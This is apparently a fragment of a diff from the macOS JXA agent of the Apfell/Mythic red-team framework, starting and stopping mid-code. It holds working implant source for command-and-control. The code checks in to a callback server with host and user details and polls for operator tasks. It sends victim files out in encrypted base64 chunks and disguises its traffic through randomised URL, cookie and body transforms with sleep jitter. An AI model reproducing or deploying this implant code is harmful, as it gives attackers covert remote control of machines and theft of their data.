r_random_number(){
|
||||
return arguments[0].slice(0, -1 * Number(arguments[1]));
|
||||
}
|
||||
random_alpha(){
|
||||
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
let m = Array(Number(arguments[1])).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
|
||||
return arguments[0] + m;
|
||||
}
|
||||
r_random_alpha(){
|
||||
return arguments[0].slice(0, -1 * Number(arguments[1]));
|
||||
}
|
||||
choose_random(){
|
||||
let choice = Math.floor(Math.random()* arguments[1].length);
|
||||
if(choice === arguments[1].length){choice -= 1;}
|
||||
return arguments[0] + arguments[1][choice];
|
||||
}
|
||||
r_choose_random(){
|
||||
for(let i = 0; i < arguments[1].length; i++){
|
||||
if(arguments[0].includes(arguments[1][i])){
|
||||
return arguments[0].replace(arguments[1][i], "");
|
||||
}
|
||||
}
|
||||
return arguments[0];
|
||||
}
|
||||
get_value(value, transforms){
|
||||
let tmp = value;
|
||||
try {
|
||||
if (transforms.length > 0) {
|
||||
for (let i = transforms.length - 1; i >= 0; i--) {
|
||||
switch (transforms[i]['function']) {
|
||||
case "base64":
|
||||
tmp = this.r_b64(tmp);
|
||||
break;
|
||||
case "prepend":
|
||||
tmp = this.r_prepend(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "append":
|
||||
tmp = this.r_append(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_mixed":
|
||||
tmp = this.r_random_mixed(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_number":
|
||||
tmp = this.r_random_number(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_alpha":
|
||||
tmp = this.r_random_alpha(tmp, transforms[i]['parameters']);
|
||||
break;
|
||||
case "choose_random":
|
||||
tmp = this.r_choose_random(tmp, transforms[i]['parameters']);
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmp;
|
||||
}catch(error){
|
||||
return "";
|
||||
}
|
||||
}
|
||||
retrieve_message(response, method="POST"){
|
||||
let data = this.get_value(($.NSString.alloc.initWithDataEncoding(response, $.NSUTF8StringEncoding)).js, this.c2_config[method]['ServerBody']);
|
||||
//console.log("in retrieve_message, returning: " + data);
|
||||
return data;
|
||||
}
|
||||
create_value(value, transforms){
|
||||
for(let i = 0; i < transforms.length; i++){
|
||||
switch(transforms[i]['function']){
|
||||
case "base64":
|
||||
value = this.b64(value);
|
||||
break;
|
||||
case "prepend":
|
||||
value = this.prepend(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "append":
|
||||
value = this.append(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_mixed":
|
||||
value = this.random_mixed(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_number":
|
||||
value = this.random_number(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "random_alpha":
|
||||
value = this.random_alpha(value, transforms[i]['parameters']);
|
||||
break;
|
||||
case "choose_random":
|
||||
value = this.choose_random(value, transforms[i]['parameters']);
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
create_message(endpoint, data, agent_id=apfell.id, method="POST"){
|
||||
if(this.aes_psk !== ""){
|
||||
data = this.encrypt_message(agent_id, JSON.stringify(data)).js;
|
||||
}else if(typeof(sendData) === "string"){
|
||||
data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0);
|
||||
}else{
|
||||
data = $(agent_id + JSON.stringify(data)).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let base_url = this.get_random_element(endpoint['urls']);
|
||||
let base_uri = endpoint['uri'];
|
||||
for(let i in endpoint['urlFunctions']){
|
||||
let value = endpoint['urlFunctions'][i]['value'];
|
||||
if(value === undefined){value = "";}
|
||||
if(value === "message"){value = data;}
|
||||
value = this.create_value(value, endpoint['urlFunctions'][i]['transforms']);
|
||||
base_uri = base_uri.replace(endpoint['urlFunctions'][i]['name'], value);
|
||||
}
|
||||
let query_string = "?";
|
||||
for(let i in endpoint['QueryParameters']){
|
||||
let value = endpoint['QueryParameters'][i]['value'];
|
||||
if(value === undefined){value = "";}
|
||||
if(value === "message"){value = data;}
|
||||
value = this.create_value(value, endpoint['QueryParameters'][i]['transforms']);
|
||||
let NSCharacterSet = $.NSCharacterSet.characterSetWithCharactersInString("/+=\n").invertedSet;
|
||||
value = $(value).stringByAddingPercentEncodingWithAllowedCharacters(NSCharacterSet).js;
|
||||
query_string += endpoint['QueryParameters'][i]['name'] + "=" + value + "&";
|
||||
}
|
||||
base_uri += query_string.slice(0, -1); //take off trailing & or ?
|
||||
let cookies = {};
|
||||
for(let i in endpoint['Cookies']){
|
||||
let value = endpoint['Cookies'][i]['value'];
|
||||
if(value === undefined){ value = "";}
|
||||
if(value === "message"){ value = data;}
|
||||
value = this.create_value(value, endpoint['Cookies'][i]['transforms']);
|
||||
cookies[endpoint['Cookies'][i]['name']] = value;
|
||||
}
|
||||
let headers = endpoint['AgentHeaders'];
|
||||
let cookie_header = "";
|
||||
for(let i in cookies){
|
||||
cookie_header += i + "=" + cookies[i] + ";";
|
||||
}
|
||||
if(cookie_header !== ""){
|
||||
headers['Cookie'] = cookie_header;
|
||||
}
|
||||
let url = base_url + base_uri;
|
||||
let body = this.create_value(data, endpoint['Body']);
|
||||
// now make the request object
|
||||
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
|
||||
for(let i in headers) {
|
||||
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(headers[i]), $.NSString.alloc.initWithUTF8String(i));
|
||||
}
|
||||
if(method === "POST") {
|
||||
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
|
||||
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
|
||||
let postLength = $.NSString.stringWithFormat("%d", postData.length);
|
||||
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
|
||||
req.setHTTPBody(postData);
|
||||
}
|
||||
return req;
|
||||
}
|
||||
getConfig(){
|
||||
//A RESTful base config consists of the following:
|
||||
// BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
|
||||
let config = {
|
||||
"C2": {
|
||||
"commands": this.commands.join(","),
|
||||
"api_version": this.api_version,
|
||||
"aes_psk": this.aes_psk,
|
||||
"config": this.c2_config
|
||||
},
|
||||
"Host": {
|
||||
"user": apfell.user,
|
||||
"fullName": apfell.fullName,
|
||||
"ips": apfell.ip,
|
||||
"hosts": apfell.host,
|
||||
"environment": apfell.environment,
|
||||
"uptime": apfell.uptime,
|
||||
"args": apfell.args,
|
||||
"pid": apfell.pid,
|
||||
"apfell_id": apfell.id,
|
||||
"payload_id": apfell.uuid
|
||||
}};
|
||||
return JSON.stringify(config, null, 2);
|
||||
}
|
||||
checkin(ip, pid, user, host, os, architecture, domain){
|
||||
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "domain": domain, "action": "checkin"};
|
||||
info["process_name"] = apfell.procInfo.processName.js;
|
||||
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
|
||||
if(user === 'root'){info['integrity_level'] = 3;}
|
||||
//let req = null;
|
||||
let jsondata = null;
|
||||
if(this.exchanging_keys){
|
||||
let sessionID = this.negotiate_key();
|
||||
jsondata = this.make_request("POST", sessionID, info);
|
||||
}else{
|
||||
jsondata = this.make_request("POST", apfell.uuid, info);
|
||||
}
|
||||
apfell.id = jsondata.id;
|
||||
// if we fail to get an ID number then exit the application
|
||||
if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
|
||||
return jsondata;
|
||||
}
|
||||
getTasking(){
|
||||
while(true){
|
||||
try{
|
||||
let task = this.make_request("GET", apfell.id, {"tasking_size":1, "action": "get_tasking"});
|
||||
return task['tasks'];
|
||||
}
|
||||
catch(error){
|
||||
//console.log("error in getTasking: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
postResponse(task, data){
|
||||
//depending on the amount of data we're sending, we might need to chunk it
|
||||
data['task_id'] = task.id;
|
||||
let postData = {"action": "post_response", "responses": [data]};
|
||||
return this.make_request("POST", apfell.id, postData );
|
||||
}
|
||||
make_request(method="POST", uid=apfell.id, data=null){
|
||||
while(true){
|
||||
try{
|
||||
let req;
|
||||
if(method === "POST"){
|
||||
if(this.post_messages.length > 0) {
|
||||
req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
|
||||
}else{
|
||||
req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
|
||||
}
|
||||
}else{
|
||||
if(this.get_messages.length > 0){
|
||||
req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
|
||||
}else{
|
||||
req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
|
||||
}
|
||||
}
|
||||
//for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
|
||||
let response = Ref();
|
||||
let error = Ref();
|
||||
let responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
|
||||
responseData = this.retrieve_message(responseData, method);
|
||||
if( responseData.length < 36){
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
|
||||
let uuid_range = $.NSMakeRange(0, 36);
|
||||
let message_range = $.NSMakeRange(36, resp.length - 36);
|
||||
let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
|
||||
//console.log("carving out rest of message");
|
||||
if(uuid !== apfell.uuid && uuid !== apfell.id && uuid !== uid){
|
||||
//console.log("id doesn't match: " + uuid);
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
continue;
|
||||
}
|
||||
resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
|
||||
//we're not doing the initial key exchange
|
||||
if(this.aes_psk !== ""){
|
||||
//if we do need to decrypt the response though, do that
|
||||
resp = ObjC.unwrap(this.decrypt_message(resp));
|
||||
return JSON.parse(resp);
|
||||
}else{
|
||||
//we don't need to decrypt it, so we can just parse and return it
|
||||
return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
//console.log("error in make_request: " + error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
download(task, params){
|
||||
let output = "";
|
||||
if( does_file_exist(params)){
|
||||
let offset = 0;
|
||||
let chunkSize = this.chunk_size; //3500;
|
||||
let full_path = params;
|
||||
try{
|
||||
let fm = $.NSFileManager.defaultManager;
|
||||
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
|
||||
full_path = "/" + pieces.slice(1).join("/");
|
||||
var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
|
||||
// Get the file size by seeking;
|
||||
var fileSize = handle.seekToEndOfFile;
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), "completed": true};
|
||||
}
|
||||
// always round up to account for chunks that are < chunksize;
|
||||
let numOfChunks = Math.ceil(fileSize / chunkSize);
|
||||
let registerData = {'total_chunks': numOfChunks, "full_path": full_path};
|
||||
let registerFile = this.postResponse(task, registerData);
|
||||
if (registerFile['responses'][0]['status'] === "success"){
|
||||
handle.seekToFileOffset(0);
|
||||
let currentChunk = 1;
|
||||
this.postResponse(task, {"user_output": JSON.stringify({
|
||||
"agent_file_id": registerFile["file_id"],
|
||||
"total_chunks": numOfChunks
|
||||
})});
|
||||
let data = handle.readDataOfLength(chunkSize);
|
||||
while(parseInt(data.length) > 0 && offset < fileSize){
|
||||
// send a chunk
|
||||
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'file_id': registerFile['responses'][0]['file_id']};
|
||||
let response = this.postResponse(task, fileData);
|
||||
if(response['responses'][0]['status'] === 'success'){
|
||||
offset += parseInt(data.length);
|
||||
handle.seekToFileOffset(offset);
|
||||
currentChunk += 1;
|
||||
data = handle.readDataOfLength(chunkSize);
|
||||
}
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time());
|
||||
}
|
||||
output = {"completed":true, "file_id": registerFile['responses'][0]['file_id']};
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "Failed to register file to download", "completed": true};
|
||||
}
|
||||
}
|
||||
else{
|
||||
output = {'status': 'error', 'user_output': "file does not exist", "completed": true};
|
||||
}
|
||||
return output;
|
||||
}
|
||||
upload(task, file_id, full_path){
|
||||
try{
|
||||
let data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
|
||||
let chunk_num = 1;
|
||||
let total_chunks = 1;
|
||||
let total_data = $.NSMutableData.dataWithLength(0);
|
||||
do{
|
||||
let file_data = this.make_request("POST", apfell.id, data);
|
||||
if(file_data['chunk_num'] === 0){
|
||||
return {'status': 'error', 'user_output': "Error from the server", "completed": true};
|
||||
}
|
||||
chunk_num = file_data['chunk_num'];
|
||||
total_chunks = file_data['total_chunks'];
|
||||
total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
|
||||
data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": chunk_num + 1, "task_id": task.id};
|
||||
}while(chunk_num < total_chunks);
|
||||
return total_data;
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), "completed": true};
|
||||
}
|
||||
}
|
||||
}
|
||||
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
|
||||
ObjC.import('Security');
|
||||
C2 = new customC2();
|
||||
@@ -1,496 +0,0 @@
|
||||
//-------------RESTFUL C2 mechanisms ---------------------------------
|
||||
class customC2 extends baseC2{
|
||||
constructor(interval, cback_host, cback_port){
|
||||
if(cback_port === "443" && cback_host.includes("https://")){
|
||||
super(interval, cback_host);
|
||||
}else if(cback_port === "80" && cback_host.includes("http://")){
|
||||
super(interval, cback_host);
|
||||
}else{
|
||||
let last_slash = cback_host.indexOf("/", 8);
|
||||
if(last_slash === -1){
|
||||
//there is no 3rd slash
|
||||
super(interval, cback_host + ":" + cback_port);
|
||||
}else{
|
||||
//there is a 3rd slash, so we need to splice in the port
|
||||
super(interval,cback_host.substring(0, last_slash) + ":" + cback_port + "/" + cback_host.substring(last_slash))
|
||||
}
|
||||
}
|
||||
this.commands = [];
|
||||
this.url = this.baseurl;
|
||||
this.getURI = "get_uri";
|
||||
this.postURI = "post_uri";
|
||||
this.queryPathName = "query_path_name";
|
||||
this.proxyURL = "proxy_host";
|
||||
this.proxyPort = "proxy_port";
|
||||
this.proxyUser = "proxy_user";
|
||||
this.proxyPassword = "proxy_pass";
|
||||
this.proxy_dict = {};
|
||||
if(this.proxyURL !== ""){
|
||||
if(this.proxyURL.includes("https")) {
|
||||
this.proxy_dict["HTTPSEnable"] = 1;
|
||||
this.proxy_dict["HTTPSProxy"] = this.proxyURL;
|
||||
this.proxy_dict["HTTPSPort"] = parseInt(this.proxyPort);
|
||||
}else{
|
||||
this.proxy_dict["HTTPEnable"] = 1;
|
||||
this.proxy_dict["HTTPProxy"] = this.proxyURL;
|
||||
this.proxy_dict["HTTPPort"] = parseInt(this.proxyPort);
|
||||
}
|
||||
}
|
||||
if(this.proxyUser !== ""){
|
||||
this.proxy_dict["kCFProxyUsernameKey"] = this.proxyUser;
|
||||
}
|
||||
if(this.proxyPassword !== ""){
|
||||
this.proxy_dict["kCFProxyPasswordKey"] = this.proxyPassword;
|
||||
}
|
||||
this.jitter = callback_jitter;
|
||||
this.header_list = headers;
|
||||
this.aes_psk = "AESPSK"; // base64 encoded key
|
||||
if(this.aes_psk !== ""){
|
||||
this.parameters = $.CFDictionaryCreateMutable($.kCFAllocatorDefault, 0, $.kCFTypeDictionaryKeyCallBacks, $.kCFTypeDictionaryValueCallBacks);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyType, $.kSecAttrKeyTypeAES);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeySizeInBits, $.kSecAES256);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecAttrKeyClass, $.kSecAttrKeyClassSymmetric);
|
||||
$.CFDictionarySetValue(this.parameters, $.kSecClass, $.kSecClassKey);
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
let err = Ref();
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, err);
|
||||
}
|
||||
this.using_key_exchange = "encrypted_exchange_check" === "T";
|
||||
this.exchanging_keys = this.using_key_exchange;
|
||||
if("killdate" !== "yyyy-mm-dd" && "killdate" !== ""){
|
||||
this.dateFormatter = $.NSDateFormatter.alloc.init;
|
||||
this.dateFormatter.setDateFormat("yyyy-MM-dd");
|
||||
this.kill_date = this.dateFormatter.dateFromString('killdate');
|
||||
}else{
|
||||
this.kill_date = $.NSDate.distantFuture;
|
||||
}
|
||||
}
|
||||
get_random_int(max) {
|
||||
return Math.floor(Math.random() * Math.floor(max + 1));
|
||||
}
|
||||
gen_sleep_time(){
|
||||
//generate a time that's this.interval += (this.interval * 1/this.jitter)
|
||||
if(this.jitter < 1){return this.interval;}
|
||||
let plus_min = this.get_random_int(1);
|
||||
if(plus_min === 1){
|
||||
return this.interval + (this.interval * (this.get_random_int(this.jitter)/100));
|
||||
}else{
|
||||
return this.interval - (this.interval * (this.get_random_int(this.jitter)/100));
|
||||
}
|
||||
}
|
||||
encrypt_message(uid, data){
|
||||
// takes in the string we're about to send, encrypts it, and returns a new string
|
||||
let err = Ref();
|
||||
let encrypt = $.SecEncryptTransformCreate(this.cryptokey,err);
|
||||
let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
|
||||
//generate a random IV to use
|
||||
let IV = $.NSMutableData.dataWithLength(16);
|
||||
$.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
|
||||
b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
|
||||
// set our data to be encrypted
|
||||
let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
|
||||
//$.CFShow(err[0]);
|
||||
let encryptedData = $.SecTransformExecute(encrypt, err);
|
||||
// now we need to prepend the IV to the encrypted data before we base64 encode and return it
|
||||
//generate the hmac
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
let hmac_input = $.NSMutableData.dataWithLength(0);
|
||||
hmac_input.appendData(IV);
|
||||
hmac_input.appendData(encryptedData);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, hmac_input, err);
|
||||
b=$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
|
||||
let final_message = $.NSMutableData.dataWithLength(0);
|
||||
final_message.appendData( $(uid).dataUsingEncoding($.NSUTF8StringEncoding) );
|
||||
final_message.appendData(IV);
|
||||
final_message.appendData(encryptedData);
|
||||
final_message.appendData(hmac_data);
|
||||
return final_message.base64EncodedStringWithOptions(0);
|
||||
}
|
||||
decrypt_message(nsdata){
|
||||
//takes in a base64 encoded string to be decrypted and returned
|
||||
//console.log("called decrypt");
|
||||
let err = Ref();
|
||||
let decrypt = $.SecDecryptTransformCreate(this.cryptokey, err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
|
||||
//console.log("making ranges");
|
||||
//need to extract out the first 16 bytes as the IV and the rest is the message to decrypt
|
||||
let iv_range = $.NSMakeRange(0, 16);
|
||||
let message_range = $.NSMakeRange(16, nsdata.length - 48); // 16 for IV 32 for hmac
|
||||
let hmac_range = $.NSMakeRange(nsdata.length - 32, 32);
|
||||
let hmac_data_range = $.NSMakeRange(0, nsdata.length - 32); // hmac includes IV + ciphertext
|
||||
//console.log("carving out iv");
|
||||
let iv = nsdata.subdataWithRange(iv_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
|
||||
let message = nsdata.subdataWithRange(message_range);
|
||||
$.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
|
||||
// create an hmac and verify it matches
|
||||
let message_hmac = nsdata.subdataWithRange(hmac_range);
|
||||
let hmac_transform = $.SecDigestTransformCreate($("HMAC-SHA2 Digest Family"), 256, err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecTransformInputAttributeName, nsdata.subdataWithRange(hmac_data_range), err);
|
||||
$.SecTransformSetAttribute(hmac_transform, $.kSecDigestHMACKeyAttribute, $.NSData.alloc.initWithBase64Encoding(this.aes_psk), err);
|
||||
let hmac_data = $.SecTransformExecute(hmac_transform, err);
|
||||
if(hmac_data.isEqualToData(message_hmac)){
|
||||
let decryptedData = $.SecTransformExecute(decrypt, Ref());
|
||||
//console.log("making a string from the message");
|
||||
let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
|
||||
//console.log(decrypted_message.js);
|
||||
return decrypted_message;
|
||||
}
|
||||
else{
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
negotiate_key(){
|
||||
// Generate a public/private key pair
|
||||
let parameters = $({"type": $("42"), "bsiz": 4096, "perm": false});
|
||||
let err = Ref();
|
||||
let privatekey = $.SecKeyCreateRandomKey(parameters, err);
|
||||
//console.log("generated new key");
|
||||
let publickey = $.SecKeyCopyPublicKey(privatekey);
|
||||
let exported_public = $.SecKeyCopyExternalRepresentation(publickey, err);
|
||||
//$.CFShow($.CFMakeCollectable(err[0]));
|
||||
try{
|
||||
//this is the catalina case
|
||||
let b64_exported_public = $.CFMakeCollectable(exported_public);
|
||||
b64_exported_public = b64_exported_public.base64EncodedStringWithOptions(0).js; // get a base64 encoded string version
|
||||
exported_public = b64_exported_public;
|
||||
}catch(error){
|
||||
//this is the mojave and high sierra case
|
||||
exported_public = exported_public.base64EncodedStringWithOptions(0).js;
|
||||
}
|
||||
let s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
let session_key = Array(20).join().split(',').map(function() { return s.charAt(Math.floor(Math.random() * s.length)); }).join('');
|
||||
let initial_message = {"session_id": session_key, "pub_key": exported_public, "action": "staging_rsa"};
|
||||
// Encrypt our initial message with sessionID and Public key with the initial AES key
|
||||
while(true){
|
||||
try{
|
||||
let stage1 = this.htmlPostData(initial_message, apfell.uuid);
|
||||
let enc_key = $.NSData.alloc.initWithBase64Encoding(stage1['session_key']);
|
||||
let dec_key = $.SecKeyCreateDecryptedData(privatekey, $.kSecKeyAlgorithmRSAEncryptionOAEPSHA1, enc_key, err);
|
||||
// Adjust our global key information with the newly adjusted session key
|
||||
try{
|
||||
this.aes_psk = dec_key.base64EncodedStringWithOptions(0).js; // base64 encoded key
|
||||
}catch(error){
|
||||
let dec_key_collectable = $.CFMakeCollectable(dec_key);
|
||||
dec_key_collectable = dec_key_collectable.base64EncodedStringWithOptions(0).js;
|
||||
this.aes_psk = dec_key_collectable;
|
||||
}
|
||||
//console.log(JSON.stringify(json_response));
|
||||
this.parameters = $({"type": $.kSecAttrKeyTypeAES});
|
||||
this.raw_key = $.NSData.alloc.initWithBase64Encoding(this.aes_psk);
|
||||
this.cryptokey = $.SecKeyCreateFromData(this.parameters, this.raw_key, Ref());
|
||||
this.exchanging_keys = false;
|
||||
return stage1['uuid'];
|
||||
}catch(error){
|
||||
console.log(error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
getConfig(){
|
||||
//A RESTful base config consists of the following:
|
||||
// BaseURL (includes Port), CallbackInterval, KillDate (not implemented yet)
|
||||
let config = {
|
||||
"C2": {
|
||||
"baseurl": this.baseurl,
|
||||
"interval": this.interval,
|
||||
"jitter": this.jitter,
|
||||
"commands": this.commands.join(", "),
|
||||
"api_version": this.api_version,
|
||||
"header_list": this.header_list,
|
||||
"aes_psk": this.aes_psk
|
||||
},
|
||||
"Host": {
|
||||
"user": apfell.user,
|
||||
"fullName": apfell.fullName,
|
||||
"ips": apfell.ip,
|
||||
"hosts": apfell.host,
|
||||
"environment": apfell.environment,
|
||||
"uptime": apfell.uptime,
|
||||
"args": apfell.args,
|
||||
"pid": apfell.pid,
|
||||
"apfell_id": apfell.id,
|
||||
"payload_id": apfell.uuid
|
||||
}};
|
||||
return JSON.stringify(config, null, 2);
|
||||
}
|
||||
checkin(ip, pid, user, host, os, arch, domain){
|
||||
//get info about system to check in initially
|
||||
//needs IP, PID, user, host, payload_type
|
||||
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os":os, "architecture": arch, "domain": domain, "action": "checkin"};
|
||||
info["process_name"] = apfell.procInfo.processName.js;
|
||||
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
|
||||
if(user === "root"){
|
||||
info['integrity_level'] = 3;
|
||||
}
|
||||
//calls htmlPostData(url,data) to actually checkin
|
||||
//Encrypt our data
|
||||
//gets back a unique ID
|
||||
if(this.using_key_exchange){
|
||||
let sessionID = this.negotiate_key();
|
||||
//console.log("got session ID: " + sessionID);
|
||||
var jsondata = this.htmlPostData(info, sessionID);
|
||||
}else{
|
||||
var jsondata = this.htmlPostData(info, apfell.uuid);
|
||||
}
|
||||
apfell.id = jsondata.id;
|
||||
// if we fail to get a new ID number, then exit the application
|
||||
if(apfell.id === undefined){ $.NSApplication.sharedApplication.terminate(this); }
|
||||
//console.log(apfell.id);
|
||||
return jsondata;
|
||||
}
|
||||
getTasking(){
|
||||
while(true){
|
||||
try{
|
||||
//let data = {"tasking_size":1, "action": "get_tasking"};
|
||||
//let task = this.htmlPostData(this.url, data, apfell.id);
|
||||
let task = this.htmlGetData();
|
||||
//console.log("tasking got back: " + JSON.stringify(task));
|
||||
return task['tasks'];
|
||||
}
|
||||
catch(error){
|
||||
//console.log(error.toString());
|
||||
$.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
|
||||
}
|
||||
}
|
||||
}
|
||||
postResponse(task, output){
|
||||
// this will get the task object and the response output
|
||||
return this.postRESTResponse(output, task.id);
|
||||
}
|
||||
postRESTResponse(data, tid){
|
||||
//depending on the amount of data we're sending, we might need to chunk it
|
||||
data["task_id"] = tid;
|
||||
let postData = {"action": "post_response", "responses": [data]};
|
||||
return this.htmlPostData(postData, apfell.id);
|
||||
}
|
||||
htmlPostData(sendData, uid, json=true){
|
||||
let url = this.baseurl;
|
||||
if(this.postURI !== ""){ url += "/" + this.postURI;}
|
||||
//console.log(url);
|
||||
//encrypt our information before sending it
|
||||
let data;
|
||||
if(this.aes_psk !== ""){
|
||||
data = this.encrypt_message(uid, JSON.stringify(sendData));
|
||||
}else if(typeof(sendData) === "string"){
|
||||
data = $(uid + sendData).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0);
|
||||
}else{
|
||||
data = $(uid + JSON.stringify(sendData)).dataUsingEncoding($.NSUTF8StringEncoding);
|
||||
data = data.base64EncodedStringWithOptions(0);
|
||||
}
|
||||
while(true){
|
||||
try{ //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
|
||||
//console.log("posting: " + sendData + " to " + urlEnding);
|
||||
if( $.NSDate.date.compare(this.kill_date) === $.NSOrderedDescending ){
|
||||
$.NSApplication.sharedApplication.terminate(this);
|
||||
}
|
||||
if( (apfell.id === undefined || apfell.id === "") && (uid === undefined || uid === "")){ $.NSApplication.sharedApplication.terminate(this);}
|
||||
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
|
||||
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
|
||||
let postData = data.dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
|
||||
let postLength = $.NSString.stringWithFormat("%d", postData.length);
|
||||
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
|
||||
for(let i = 0; i < this.header_list.length; i++){
|
||||
req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(this.header_list[i]["value"]), $.NSString.alloc.initWithUTF8String(this.header_list[i]["key"]));
|
||||
}
|
||||
req.setHTTPBody(postData);
|
||||
let response = Ref();
|
||||
let error = Ref();
|
||||
let session_config = $.NSURLSessionConfiguration.ephemeralSessionConfiguration;
|
||||
session_config.connectionProxyDictionary = $(this.proxy_dict);
|
||||
let session = $.NSURLSession.sessionWithConfiguration(session_config);
|
||||
let finished = false;
|
||||
let responseData;
|
||||
session.dataTaskWithRequestCompletionHandler(req, (data, resp) => {
|
||||
finished = true;
|
||||
responseData = data;
|
